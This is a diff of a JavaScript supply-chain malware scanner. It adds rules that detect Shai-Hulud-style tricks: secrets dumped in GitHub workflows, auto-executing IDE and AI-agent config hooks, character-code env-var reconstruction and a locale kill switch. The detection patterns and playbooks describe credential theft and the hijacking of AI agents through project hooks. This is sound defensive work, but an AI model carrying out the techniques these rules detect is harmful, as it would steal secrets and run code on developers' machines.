muaddib-scanner 2.11.10 → 2.11.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/monitor/classify.js +8 -1
- package/src/output/formatter.js +24 -11
- package/src/pipeline/executor.js +10 -1
- package/src/pipeline/processor.js +1 -1
- package/src/response/playbooks.js +17 -0
- package/src/rules/confidence-tiers.js +3 -1
- package/src/rules/index.js +36 -0
- package/src/scanner/ai-config.js +111 -1
- package/src/scanner/ast.js +17 -0
- package/src/scanner/dataflow.js +5 -1
- package/src/scanner/github-actions.js +12 -0
- package/src/scanner/obfuscation.js +9 -3
- package/src/scanner/package.js +5 -1
- package/src/scoring.js +176 -8
- package/src/shared/bundle-detect.js +7 -1
package/package.json
CHANGED
package/src/monitor/classify.js
CHANGED
|
@@ -66,7 +66,14 @@ const HIGH_CONFIDENCE_MALICE_TYPES = new Set([
|
|
|
66
66
|
'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
|
|
67
67
|
// v2.10.94: MT-1 ceiling bypass for ltidi and csec under-threshold cases
|
|
68
68
|
'external_tarball_dep', // dep URL = tarball on third-party host (ltidi chain)
|
|
69
|
-
'function_runtime_args'
|
|
69
|
+
'function_runtime_args', // new Function('require','__dirname','__filename',...) pattern (csec)
|
|
70
|
+
// Mini Shai-Hulud campaign (2026-05): env var names reconstructed via
|
|
71
|
+
// String.fromCharCode() to evade static analysis. Structurally unique to malware —
|
|
72
|
+
// no legitimate code reconstructs env var names from character codes. Bypasses MT-1
|
|
73
|
+
// cap since the attack uses optionalDependencies + prepare hook (no direct lifecycle).
|
|
74
|
+
'env_charcode_reconstruction', // fromCharCode + process.env[computed] (TeamPCP credential stealer)
|
|
75
|
+
'ide_hook_autoexec', // .claude/settings.json SessionStart hook, .vscode/tasks.json folderOpen (Shai-Hulud)
|
|
76
|
+
'workflow_secrets_dump' // toJSON(secrets) in GitHub Actions workflow (Shai-Hulud)
|
|
70
77
|
]);
|
|
71
78
|
|
|
72
79
|
// Lifecycle compound types that indicate real malicious intent beyond a simple postinstall
|
package/src/output/formatter.js
CHANGED
|
@@ -157,18 +157,31 @@ function formatOutput(result, options, ctx) {
|
|
|
157
157
|
if (deduped.length === 0) {
|
|
158
158
|
console.log('[OK] No threats detected.\n');
|
|
159
159
|
} else {
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
160
|
+
// v2.11.11: Filter degraded LOW quick-scan signals from default output.
|
|
161
|
+
// These are regex-only detections in overflow files (no AST context) and
|
|
162
|
+
// clutter the output on monorepos. Show with --verbose. Scoring, JSON,
|
|
163
|
+
// SARIF, and HTML output are unaffected — this is display-only.
|
|
164
|
+
const hiddenCount = options.verbose ? 0 : deduped.filter(t => t.degraded && t.severity === 'LOW').length;
|
|
165
|
+
const displayThreats = options.verbose ? deduped : deduped.filter(t => !(t.degraded && t.severity === 'LOW'));
|
|
166
|
+
if (displayThreats.length === 0 && hiddenCount > 0) {
|
|
167
|
+
console.log(`[OK] No high-confidence threats detected (${hiddenCount} low-confidence signal(s) hidden, use --verbose to show).\n`);
|
|
168
|
+
} else {
|
|
169
|
+
console.log(`[ALERT] ${displayThreats.length} threat(s) detected:\n`);
|
|
170
|
+
displayThreats.forEach((t, i) => {
|
|
171
|
+
const countStr = t.count > 1 ? ` (x${t.count})` : '';
|
|
172
|
+
console.log(` ${i + 1}. [${t.severity}] ${t.type}${countStr}`);
|
|
173
|
+
console.log(` ${t.message}`);
|
|
174
|
+
console.log(` File: ${t.file}`);
|
|
175
|
+
const playbook = getPlaybook(t.type);
|
|
176
|
+
if (playbook) {
|
|
177
|
+
console.log(` \u2192 ${playbook}`);
|
|
178
|
+
}
|
|
179
|
+
console.log('');
|
|
180
|
+
});
|
|
181
|
+
if (hiddenCount > 0) {
|
|
182
|
+
console.log(` + ${hiddenCount} low-confidence signal(s) hidden (use --verbose to show)\n`);
|
|
169
183
|
}
|
|
170
|
-
|
|
171
|
-
});
|
|
184
|
+
}
|
|
172
185
|
}
|
|
173
186
|
|
|
174
187
|
// Sandbox section (normal)
|
package/src/pipeline/executor.js
CHANGED
|
@@ -256,17 +256,26 @@ async function execute(targetPath, options, pythonDeps, warnings) {
|
|
|
256
256
|
{ re: /\bprocess\.mainModule\b/, type: 'dynamic_require', severity: 'MEDIUM', label: 'process.mainModule' },
|
|
257
257
|
{ re: /\bModule\._load\b/, type: 'module_load_bypass', severity: 'CRITICAL', label: 'Module._load' }
|
|
258
258
|
];
|
|
259
|
+
// v2.11.11: Tooling path detection for quick-scan. Files in standard monorepo
|
|
260
|
+
// tooling directories (scripts/, test/, examples/, .github/, compiler/) carry
|
|
261
|
+
// much lower signal than root/src files — build/CI/test scripts legitimately
|
|
262
|
+
// use child_process. Downgrade non-CRITICAL findings to LOW in these paths.
|
|
263
|
+
// Module._load remains CRITICAL — it is never legitimate in tooling scripts.
|
|
264
|
+
const TOOLING_PATH_RE = /(?:^|[/\\])(?:scripts|test|tests|__tests__|spec|examples|fixtures|compiler[/\\]scripts|\.github)[/\\]/i;
|
|
259
265
|
for (const filePath of overflowFiles) {
|
|
260
266
|
try {
|
|
261
267
|
const stat = fs.statSync(filePath);
|
|
262
268
|
if (stat.size > getMaxFileSize()) continue;
|
|
263
269
|
const content = fs.readFileSync(filePath, 'utf8');
|
|
264
270
|
const relFile = path.relative(targetPath, filePath);
|
|
271
|
+
const isToolingPath = TOOLING_PATH_RE.test(relFile);
|
|
265
272
|
for (const pat of QUICK_SCAN_PATTERNS) {
|
|
266
273
|
if (pat.re.test(content)) {
|
|
274
|
+
// Downgrade non-CRITICAL findings in tooling paths to LOW
|
|
275
|
+
const severity = (isToolingPath && pat.severity !== 'CRITICAL') ? 'LOW' : pat.severity;
|
|
267
276
|
quickScanThreats.push({
|
|
268
277
|
type: pat.type,
|
|
269
|
-
severity
|
|
278
|
+
severity,
|
|
270
279
|
message: `[quick-scan] ${pat.label} detected in overflow file.`,
|
|
271
280
|
file: relFile,
|
|
272
281
|
degraded: true, // P3: regex-only detection, no semantic context
|
|
@@ -321,7 +321,7 @@ async function process(threats, targetPath, options, pythonDeps, warnings, scann
|
|
|
321
321
|
// Compound scoring: inject synthetic CRITICAL threats when co-occurring types
|
|
322
322
|
// indicate unambiguous malice. Applied AFTER FP reductions to recover signals
|
|
323
323
|
// that were individually downgraded (count-based, dist, reachability, delta).
|
|
324
|
-
applyCompoundBoosts(deduped);
|
|
324
|
+
applyCompoundBoosts(deduped, targetPath);
|
|
325
325
|
|
|
326
326
|
// Intent coherence analysis: detect source→sink pairs within files
|
|
327
327
|
// Pass targetPath for destination-aware SDK pattern detection
|
|
@@ -224,6 +224,11 @@ const PLAYBOOKS = {
|
|
|
224
224
|
workflow_pwn_request:
|
|
225
225
|
'CRITIQUE: Pwn request detecte — pull_request_target avec checkout du head de la PR permet l\'execution de code arbitraire. Remplacer par pull_request ou utiliser une strategie de checkout securisee (base ref uniquement).',
|
|
226
226
|
|
|
227
|
+
workflow_secrets_dump:
|
|
228
|
+
'CRITIQUE: Workflow GitHub Actions utilise toJSON(secrets) pour dumper tous les secrets du repository. ' +
|
|
229
|
+
'Technique Shai-Hulud (TeamPCP). Supprimer le workflow immediatement. ' +
|
|
230
|
+
'Si le workflow a ete execute, considerer tous les secrets du repository compromis et les regenerer.',
|
|
231
|
+
|
|
227
232
|
sandbox_sensitive_file_read:
|
|
228
233
|
'CRITIQUE: Package lit des fichiers sensibles (credentials) lors de l\'installation. Ne pas installer. Supprimer immediatement.',
|
|
229
234
|
sandbox_sensitive_file_write:
|
|
@@ -374,6 +379,13 @@ const PLAYBOOKS = {
|
|
|
374
379
|
'NE PAS ouvrir ce projet avec un agent IA. Supprimer les fichiers de config compromis. ' +
|
|
375
380
|
'Si deja ouvert avec un agent IA, considerer la machine compromise. Regenerer tous les secrets.',
|
|
376
381
|
|
|
382
|
+
ide_hook_autoexec:
|
|
383
|
+
'CRITIQUE: Fichier de configuration IDE avec hooks d\'auto-execution detecte. ' +
|
|
384
|
+
'NE PAS ouvrir ce projet dans un IDE ou agent IA. Le fichier execute du code ' +
|
|
385
|
+
'automatiquement a l\'ouverture du projet (SessionStart, folderOpen). ' +
|
|
386
|
+
'Technique Shai-Hulud (TeamPCP). Supprimer les fichiers .claude/settings.json ' +
|
|
387
|
+
'et .vscode/tasks.json avant ouverture.',
|
|
388
|
+
|
|
377
389
|
ai_agent_abuse:
|
|
378
390
|
'CRITIQUE: Un agent IA (Claude, Gemini, Q) est invoque avec des flags de bypass de securite ' +
|
|
379
391
|
'(--dangerously-skip-permissions, --yolo, --trust-all-tools). Technique s1ngularity/Nx. ' +
|
|
@@ -728,6 +740,11 @@ const PLAYBOOKS = {
|
|
|
728
740
|
'Pattern kamikaze.sh du wiper CanisterWorm ciblant les systemes Iran (Asia/Tehran). ' +
|
|
729
741
|
'NE PAS executer. Isoler immediatement. Signaler comme destructware.',
|
|
730
742
|
|
|
743
|
+
geo_evasion_killswitch:
|
|
744
|
+
'Code verifie la locale systeme pour "ru" et fait process.exit — technique CIS kill switch ' +
|
|
745
|
+
'classique de malware (TeamPCP, Lazarus) pour eviter de cibler les systemes russophones. ' +
|
|
746
|
+
'Signal fort en combinaison avec d\'autres indicateurs. Analyser le code complet du package.',
|
|
747
|
+
|
|
731
748
|
proc_mem_scan:
|
|
732
749
|
'CRITIQUE: Acces a /proc/*/mem — extraction de secrets depuis la memoire des processus. ' +
|
|
733
750
|
'Technique TeamPCP credential stealer dans Trivy v0.69.4. ' +
|
|
@@ -100,7 +100,9 @@ const HIGH_TIER_EXTRA = new Set([
|
|
|
100
100
|
'anti_forensic_xor_autodelete',
|
|
101
101
|
'detached_credential_exfil',
|
|
102
102
|
// Workflow injection
|
|
103
|
-
'workflow_write'
|
|
103
|
+
'workflow_write',
|
|
104
|
+
// Geo-evasion (locale check + country code + exit = compound evidence)
|
|
105
|
+
'geo_evasion_killswitch'
|
|
104
106
|
]);
|
|
105
107
|
|
|
106
108
|
// Heuristic / count-based / weak-signal types. Always low tier regardless
|
package/src/rules/index.js
CHANGED
|
@@ -705,6 +705,18 @@ const RULES = {
|
|
|
705
705
|
],
|
|
706
706
|
mitre: 'T1059'
|
|
707
707
|
},
|
|
708
|
+
ide_hook_autoexec: {
|
|
709
|
+
id: 'MUADDIB-AICONF-003',
|
|
710
|
+
name: 'IDE Hook Auto-Execution',
|
|
711
|
+
severity: 'CRITICAL',
|
|
712
|
+
confidence: 'high',
|
|
713
|
+
description: 'Fichier de configuration IDE (.claude/settings.json, .vscode/tasks.json, .kiro/settings/mcp.json) contient des hooks qui executent du code automatiquement a l\'ouverture du projet. Technique Shai-Hulud (TeamPCP, mai 2026).',
|
|
714
|
+
references: [
|
|
715
|
+
'https://github.com/g00dfe11ow/Shai-Hulud-Open-Source',
|
|
716
|
+
'https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm'
|
|
717
|
+
],
|
|
718
|
+
mitre: 'T1546'
|
|
719
|
+
},
|
|
708
720
|
|
|
709
721
|
require_cache_poison: {
|
|
710
722
|
id: 'MUADDIB-AST-019',
|
|
@@ -975,6 +987,18 @@ const RULES = {
|
|
|
975
987
|
],
|
|
976
988
|
mitre: 'T1195.002'
|
|
977
989
|
},
|
|
990
|
+
workflow_secrets_dump: {
|
|
991
|
+
id: 'MUADDIB-GHA-004',
|
|
992
|
+
name: 'GitHub Actions Secrets Dump',
|
|
993
|
+
severity: 'CRITICAL',
|
|
994
|
+
confidence: 'high',
|
|
995
|
+
description: 'Workflow utilise toJSON(secrets) pour exfiltrer tous les secrets du repository. Technique Shai-Hulud (TeamPCP, mai 2026).',
|
|
996
|
+
references: [
|
|
997
|
+
'https://github.com/g00dfe11ow/Shai-Hulud-Open-Source',
|
|
998
|
+
'https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions'
|
|
999
|
+
],
|
|
1000
|
+
mitre: 'T1552.001'
|
|
1001
|
+
},
|
|
978
1002
|
|
|
979
1003
|
// Sandbox detections
|
|
980
1004
|
sandbox_sensitive_file_read: {
|
|
@@ -2458,6 +2482,18 @@ const RULES = {
|
|
|
2458
2482
|
],
|
|
2459
2483
|
mitre: 'T1059.007'
|
|
2460
2484
|
},
|
|
2485
|
+
geo_evasion_killswitch: {
|
|
2486
|
+
id: 'MUADDIB-AST-091',
|
|
2487
|
+
name: 'Geo-Evasion CIS Kill Switch',
|
|
2488
|
+
severity: 'HIGH',
|
|
2489
|
+
confidence: 'medium',
|
|
2490
|
+
description: 'Code verifie la locale systeme (Intl.DateTimeFormat, LC_ALL/LANG) pour "ru" et fait process.exit — technique CIS kill switch pour eviter de cibler les pays de l\'operateur. Pattern TeamPCP/Shai-Hulud.',
|
|
2491
|
+
references: [
|
|
2492
|
+
'https://github.com/g00dfe11ow/Shai-Hulud-Open-Source',
|
|
2493
|
+
'https://attack.mitre.org/techniques/T1614/'
|
|
2494
|
+
],
|
|
2495
|
+
mitre: 'T1614'
|
|
2496
|
+
},
|
|
2461
2497
|
external_tarball_dep: {
|
|
2462
2498
|
id: 'MUADDIB-PKG-020',
|
|
2463
2499
|
name: 'External Tarball Dependency URL',
|
package/src/scanner/ai-config.js
CHANGED
|
@@ -19,7 +19,7 @@
|
|
|
19
19
|
const fs = require('fs');
|
|
20
20
|
const path = require('path');
|
|
21
21
|
|
|
22
|
-
// AI agent config files to scan (relative to project root)
|
|
22
|
+
// AI agent config files to scan for prompt injection (relative to project root)
|
|
23
23
|
const AI_CONFIG_FILES = [
|
|
24
24
|
'.cursorrules',
|
|
25
25
|
'.cursorignore',
|
|
@@ -31,6 +31,17 @@ const AI_CONFIG_FILES = [
|
|
|
31
31
|
'.github/copilot-setup-steps.yml'
|
|
32
32
|
];
|
|
33
33
|
|
|
34
|
+
// IDE/agent config files to scan for auto-exec hooks (JSON, relative to project root)
|
|
35
|
+
// These are distinct from AI_CONFIG_FILES: they contain machine-readable hooks
|
|
36
|
+
// that execute code on project open, not human-readable prompt injection.
|
|
37
|
+
// Technique: Shai-Hulud (TeamPCP, May 2026) — .claude/settings.json SessionStart hook.
|
|
38
|
+
const IDE_HOOK_FILES = [
|
|
39
|
+
'.claude/settings.json',
|
|
40
|
+
'.claude/settings.local.json',
|
|
41
|
+
'.vscode/tasks.json',
|
|
42
|
+
'.kiro/settings/mcp.json'
|
|
43
|
+
];
|
|
44
|
+
|
|
34
45
|
// Dangerous shell command patterns in AI config files
|
|
35
46
|
const SHELL_COMMAND_PATTERNS = [
|
|
36
47
|
// Download and execute
|
|
@@ -104,6 +115,105 @@ function scanAIConfig(targetPath) {
|
|
|
104
115
|
threats.push(...fileThreats);
|
|
105
116
|
}
|
|
106
117
|
|
|
118
|
+
// Scan IDE hook files for auto-exec patterns (separate from prompt injection)
|
|
119
|
+
for (const hookFile of IDE_HOOK_FILES) {
|
|
120
|
+
const filePath = path.join(targetPath, hookFile);
|
|
121
|
+
if (!fs.existsSync(filePath)) continue;
|
|
122
|
+
|
|
123
|
+
let content;
|
|
124
|
+
try {
|
|
125
|
+
const stat = fs.statSync(filePath);
|
|
126
|
+
if (stat.size > 1024 * 1024) continue;
|
|
127
|
+
content = fs.readFileSync(filePath, 'utf8');
|
|
128
|
+
} catch {
|
|
129
|
+
continue;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
const hookThreats = analyzeIDEHookFile(content, hookFile);
|
|
133
|
+
threats.push(...hookThreats);
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
return threats;
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
/**
|
|
140
|
+
* Analyze an IDE/agent config JSON file for auto-exec hooks.
|
|
141
|
+
*
|
|
142
|
+
* Distinct from prompt injection: these files contain machine-readable
|
|
143
|
+
* hooks that execute arbitrary commands when the project is opened.
|
|
144
|
+
* No legitimate npm package should ship these files with hooks.
|
|
145
|
+
*/
|
|
146
|
+
function analyzeIDEHookFile(content, relPath) {
|
|
147
|
+
const threats = [];
|
|
148
|
+
|
|
149
|
+
let parsed;
|
|
150
|
+
try {
|
|
151
|
+
parsed = JSON.parse(content);
|
|
152
|
+
} catch {
|
|
153
|
+
return threats; // invalid JSON — skip silently
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
if (!parsed || typeof parsed !== 'object') return threats;
|
|
157
|
+
|
|
158
|
+
// .claude/settings.json / .claude/settings.local.json
|
|
159
|
+
// Structure: { hooks: { EventName: [{ matcher, hooks: [{ type, command }] }] } }
|
|
160
|
+
if (relPath.includes('.claude/') && relPath.endsWith('settings.json')) {
|
|
161
|
+
const hooks = parsed.hooks;
|
|
162
|
+
if (hooks && typeof hooks === 'object') {
|
|
163
|
+
for (const [event, matchers] of Object.entries(hooks)) {
|
|
164
|
+
if (!Array.isArray(matchers)) continue;
|
|
165
|
+
for (const matcher of matchers) {
|
|
166
|
+
if (!matcher || !Array.isArray(matcher.hooks)) continue;
|
|
167
|
+
for (const hook of matcher.hooks) {
|
|
168
|
+
if (hook && hook.command) {
|
|
169
|
+
threats.push({
|
|
170
|
+
type: 'ide_hook_autoexec',
|
|
171
|
+
severity: 'CRITICAL',
|
|
172
|
+
message: `IDE auto-exec hook: .claude/settings.json ${event} event executes "${hook.command}" — Shai-Hulud (TeamPCP) pattern`,
|
|
173
|
+
file: relPath
|
|
174
|
+
});
|
|
175
|
+
}
|
|
176
|
+
}
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
}
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
// .vscode/tasks.json
|
|
183
|
+
// Structure: { tasks: [{ label, command, runOptions: { runOn: "folderOpen" } }] }
|
|
184
|
+
if (relPath.includes('.vscode/') && relPath.endsWith('tasks.json')) {
|
|
185
|
+
const tasks = Array.isArray(parsed.tasks) ? parsed.tasks : [];
|
|
186
|
+
for (const task of tasks) {
|
|
187
|
+
if (task && task.runOptions && task.runOptions.runOn === 'folderOpen') {
|
|
188
|
+
const cmd = task.command || task.label || 'unknown';
|
|
189
|
+
threats.push({
|
|
190
|
+
type: 'ide_hook_autoexec',
|
|
191
|
+
severity: 'CRITICAL',
|
|
192
|
+
message: `IDE auto-exec hook: .vscode/tasks.json task "${cmd}" runs on folder open — Shai-Hulud (TeamPCP) pattern`,
|
|
193
|
+
file: relPath
|
|
194
|
+
});
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
// .kiro/settings/mcp.json
|
|
200
|
+
// Structure: { mcpServers: { name: { command, args } } }
|
|
201
|
+
if (relPath.includes('.kiro/') && relPath.endsWith('mcp.json')) {
|
|
202
|
+
const mcpServers = parsed.mcpServers;
|
|
203
|
+
if (mcpServers && typeof mcpServers === 'object') {
|
|
204
|
+
for (const [name, config] of Object.entries(mcpServers)) {
|
|
205
|
+
if (config && typeof config === 'object' && config.command) {
|
|
206
|
+
threats.push({
|
|
207
|
+
type: 'ide_hook_autoexec',
|
|
208
|
+
severity: 'CRITICAL',
|
|
209
|
+
message: `IDE auto-exec hook: .kiro/settings/mcp.json server "${name}" executes "${config.command}" on project open`,
|
|
210
|
+
file: relPath
|
|
211
|
+
});
|
|
212
|
+
}
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
}
|
|
216
|
+
|
|
107
217
|
return threats;
|
|
108
218
|
}
|
|
109
219
|
|
package/src/scanner/ast.js
CHANGED
|
@@ -345,6 +345,23 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
345
345
|
});
|
|
346
346
|
}
|
|
347
347
|
|
|
348
|
+
// Geo-evasion CIS kill switch: locale check for "ru" + process.exit
|
|
349
|
+
// Pattern: TeamPCP/Shai-Hulud isSystemRussian() — checks Intl.DateTimeFormat
|
|
350
|
+
// locale or LC_ALL/LANG env vars for Russian locale, then process.exit(0).
|
|
351
|
+
// Triple-gate: (1) locale API or env var check, (2) "ru" string comparison,
|
|
352
|
+
// (3) process.exit in same file. No legitimate npm package does this.
|
|
353
|
+
const hasLocaleCheck = /resolvedOptions\s*\(\s*\)\s*\.locale/.test(content) ||
|
|
354
|
+
(/\bLC_ALL\b/.test(content) && /\bLANG\b/.test(content));
|
|
355
|
+
const hasRuCheck = /['"`]ru['"`]/.test(content) && /startsWith|===|==/.test(content);
|
|
356
|
+
if (hasLocaleCheck && hasRuCheck && /process\.exit/.test(content)) {
|
|
357
|
+
threats.push({
|
|
358
|
+
type: 'geo_evasion_killswitch',
|
|
359
|
+
severity: 'HIGH',
|
|
360
|
+
message: 'Geo-evasion CIS kill switch: locale check for "ru" + process.exit — malware avoids targeting operator\'s country (TeamPCP pattern)',
|
|
361
|
+
file: ctx.relPath
|
|
362
|
+
});
|
|
363
|
+
}
|
|
364
|
+
|
|
348
365
|
handlePostWalk(ctx);
|
|
349
366
|
|
|
350
367
|
return threats;
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -458,7 +458,11 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
458
458
|
}
|
|
459
459
|
}
|
|
460
460
|
|
|
461
|
-
|
|
461
|
+
// v2.11.11: Removed bare 'get' — getCallName() returns just the method name
|
|
462
|
+
// for member expressions (Map.get(), cache.get() → 'get'), causing massive FP
|
|
463
|
+
// on any file that calls .get(). Qualified http.get/https.get are already
|
|
464
|
+
// caught by MODULE_SINK_METHODS (lines 33-34) via taint-tracked module analysis.
|
|
465
|
+
if (callName === 'request' || callName === 'fetch' || callName === 'post') {
|
|
462
466
|
sinks.push({
|
|
463
467
|
type: 'network_send',
|
|
464
468
|
name: callName,
|
|
@@ -102,6 +102,18 @@ function scanDirRecursive(dirPath, targetPath, threats, depth = 0) {
|
|
|
102
102
|
file: relFile
|
|
103
103
|
});
|
|
104
104
|
}
|
|
105
|
+
|
|
106
|
+
// GHA-004: Secrets dump via toJSON(secrets) — exfiltrates ALL repository secrets
|
|
107
|
+
// Technique: Shai-Hulud (TeamPCP, May 2026) — workflow dumps toJSON(secrets) to a
|
|
108
|
+
// file and uploads it as an artifact. No legitimate workflow uses toJSON(secrets).
|
|
109
|
+
if (/toJSON\s*\(\s*secrets\s*\)/.test(activeContent)) {
|
|
110
|
+
threats.push({
|
|
111
|
+
type: 'workflow_secrets_dump',
|
|
112
|
+
severity: 'CRITICAL',
|
|
113
|
+
message: 'GitHub Actions secrets dump: toJSON(secrets) exfiltrates all repository secrets',
|
|
114
|
+
file: relFile
|
|
115
|
+
});
|
|
116
|
+
}
|
|
105
117
|
}
|
|
106
118
|
}
|
|
107
119
|
|
|
@@ -64,9 +64,15 @@ function detectObfuscation(targetPath) {
|
|
|
64
64
|
const pathParts = relativePath.split(path.sep);
|
|
65
65
|
const isInDistOrBuild = pathParts.some(p => p === 'dist' || p === 'build');
|
|
66
66
|
const isLargeCjsMjs = (basename.endsWith('.cjs') || basename.endsWith('.mjs')) && content.length > 100 * 1024;
|
|
67
|
-
// P6: Any JS file > 100KB is overwhelmingly bundled output regardless of directory name
|
|
68
|
-
//
|
|
69
|
-
|
|
67
|
+
// P6: Any JS file > 100KB is overwhelmingly bundled output regardless of directory name,
|
|
68
|
+
// UNLESS it contains javascript-obfuscator markers (_0x hex variables). Bundlers
|
|
69
|
+
// (webpack/rollup/esbuild) never produce _0x vars — this is a discriminant unique to
|
|
70
|
+
// javascript-obfuscator, which is only used to hide malicious intent.
|
|
71
|
+
// Mini Shai-Hulud campaign (2026-05): 2.3MB payload exploited the original blanket
|
|
72
|
+
// exemption to evade detection on @tanstack/react-router (12M weekly downloads).
|
|
73
|
+
const isLargeJsCandidate = basename.endsWith('.js') && content.length > 100 * 1024;
|
|
74
|
+
const hasObfuscatorMarkers = isLargeJsCandidate && /\b_0x[a-f0-9]{4,}\b/.test(content.slice(0, 8192));
|
|
75
|
+
const isLargeJs = isLargeJsCandidate && !hasObfuscatorMarkers;
|
|
70
76
|
// Locale/i18n files legitimately contain invisible Unicode (e.g. Persian ZWNJ U+200C)
|
|
71
77
|
const isLocaleFile = /(?:^|[/\\])(?:locale|locales|i18n|intl|lang|languages|translations)[/\\]/i.test(relativePath);
|
|
72
78
|
const isPackageOutput = isMinified || isBundled || isInDistOrBuild || isLargeCjsMjs || isLargeJs || isLocaleFile;
|
package/src/scanner/package.js
CHANGED
|
@@ -370,7 +370,11 @@ async function scanPackageJson(targetPath) {
|
|
|
370
370
|
});
|
|
371
371
|
}
|
|
372
372
|
// Detect git-based dependencies — potential PackageGate RCE vector
|
|
373
|
-
|
|
373
|
+
// Covers git+https://, git://, and platform shorthands (github:, gitlab:, bitbucket:)
|
|
374
|
+
// which resolve to git repos and execute lifecycle hooks (prepare) on install.
|
|
375
|
+
// Mini Shai-Hulud campaign (2026-05): github:tanstack/router#commit exploited the
|
|
376
|
+
// prepare hook to execute tanstack_runner.js.
|
|
377
|
+
if (typeof depVersion === 'string' && /^(?:git[+:]|github:|gitlab:|bitbucket:)/.test(depVersion)) {
|
|
374
378
|
threats.push({
|
|
375
379
|
type: 'git_dependency_rce',
|
|
376
380
|
severity: 'HIGH',
|
package/src/scoring.js
CHANGED
|
@@ -457,7 +457,13 @@ const REACHABILITY_EXEMPT_TYPES = new Set([
|
|
|
457
457
|
'function_constructor_require', // AST-086 — Function.constructor("require", body)
|
|
458
458
|
'process_variable_shadow', // AST-087 — const process = {env:{...}}
|
|
459
459
|
'function_runtime_args', // AST-090 — new Function('require','__dirname',...)
|
|
460
|
-
'self_destruct_eval'
|
|
460
|
+
'self_destruct_eval', // AST-089 — dynamic exec + unlink __filename
|
|
461
|
+
// Mini Shai-Hulud campaign (2026-05): env var names reconstructed via
|
|
462
|
+
// String.fromCharCode() to evade static analysis. Structurally unique to malware —
|
|
463
|
+
// no legitimate code reconstructs env var names from character codes. Injected files
|
|
464
|
+
// (router_init.js) are unreachable via require/import but execute via lifecycle hooks
|
|
465
|
+
// or optionalDependencies with prepare scripts.
|
|
466
|
+
'env_charcode_reconstruction' // AST-018 — fromCharCode + process.env[computed]
|
|
461
467
|
]);
|
|
462
468
|
|
|
463
469
|
// ============================================
|
|
@@ -515,17 +521,27 @@ const SCORING_COMPOUNDS = [
|
|
|
515
521
|
// C7 : when every component lives only in dist/build/out, the cooccurrence
|
|
516
522
|
// is bundler aggregation (a postinstall mention + a pre-bundled HTTP client
|
|
517
523
|
// with credential fields), not real exfiltration. Skip the compound.
|
|
518
|
-
excludeIfBundled: true
|
|
524
|
+
excludeIfBundled: true,
|
|
525
|
+
// v2.11.11: Scope to lifecycle target file + 1-level imports. On monorepos
|
|
526
|
+
// (React, Next.js) the unscoped co-occurrence of lifecycle_script + any
|
|
527
|
+
// suspicious_dataflow anywhere in the repo is noise. The compound should
|
|
528
|
+
// only fire when the dataflow signal is in the file directly executed by
|
|
529
|
+
// the lifecycle script or in its static imports.
|
|
530
|
+
lifecycleScoped: true
|
|
519
531
|
},
|
|
520
532
|
{
|
|
521
533
|
type: 'lifecycle_dangerous_exec',
|
|
522
534
|
requires: ['lifecycle_script', 'dangerous_exec'],
|
|
523
535
|
severity: 'CRITICAL',
|
|
524
536
|
message: 'Lifecycle hook + dangerous shell execution — install-time command injection (scoring compound).',
|
|
525
|
-
fileFrom: 'dangerous_exec'
|
|
537
|
+
fileFrom: 'dangerous_exec',
|
|
526
538
|
// No sameFile: lifecycle is package-level
|
|
527
539
|
// dangerous_exec is in DIST_EXEMPT_TYPES so it is never coincidental in
|
|
528
540
|
// dist/ ; no excludeIfBundled gate added here.
|
|
541
|
+
// v2.11.11: Scope to lifecycle target file + 1-level imports. Without this,
|
|
542
|
+
// a monorepo postinstall referencing a clean setup script correlates with
|
|
543
|
+
// exec() in unrelated release/CI scripts → CRITICAL false positive.
|
|
544
|
+
lifecycleScoped: true
|
|
529
545
|
},
|
|
530
546
|
{
|
|
531
547
|
type: 'obfuscated_lifecycle_env',
|
|
@@ -595,13 +611,117 @@ const SCORING_COMPOUNDS = [
|
|
|
595
611
|
},
|
|
596
612
|
];
|
|
597
613
|
|
|
614
|
+
// v2.11.11: Extract static require/import targets from a JS file (1 level).
|
|
615
|
+
// Returns a Set of relative file paths (normalized with forward slashes).
|
|
616
|
+
const _acorn = require('acorn');
|
|
617
|
+
const _acornWalk = require('acorn-walk');
|
|
618
|
+
|
|
619
|
+
function _extractStaticImports(filePath) {
|
|
620
|
+
const imports = new Set();
|
|
621
|
+
try {
|
|
622
|
+
const content = require('fs').readFileSync(filePath, 'utf8');
|
|
623
|
+
const ast = _acorn.parse(content, { sourceType: 'module', ecmaVersion: 'latest', allowReturnOutsideFunction: true, allowImportExportEverywhere: true });
|
|
624
|
+
_acornWalk.simple(ast, {
|
|
625
|
+
CallExpression(node) {
|
|
626
|
+
if (node.callee.type === 'Identifier' && node.callee.name === 'require' &&
|
|
627
|
+
node.arguments.length > 0 && node.arguments[0].type === 'Literal' &&
|
|
628
|
+
typeof node.arguments[0].value === 'string') {
|
|
629
|
+
const target = node.arguments[0].value;
|
|
630
|
+
if (target.startsWith('.')) imports.add(target);
|
|
631
|
+
}
|
|
632
|
+
},
|
|
633
|
+
ImportDeclaration(node) {
|
|
634
|
+
if (node.source && typeof node.source.value === 'string' && node.source.value.startsWith('.')) {
|
|
635
|
+
imports.add(node.source.value);
|
|
636
|
+
}
|
|
637
|
+
}
|
|
638
|
+
});
|
|
639
|
+
} catch { /* parse failure — return empty set */ }
|
|
640
|
+
return imports;
|
|
641
|
+
}
|
|
642
|
+
|
|
643
|
+
// v2.11.11: Lifecycle scope resolution. Determines if a lifecycleScoped compound
|
|
644
|
+
// should fire based on whether the non-lifecycle threats are in the lifecycle
|
|
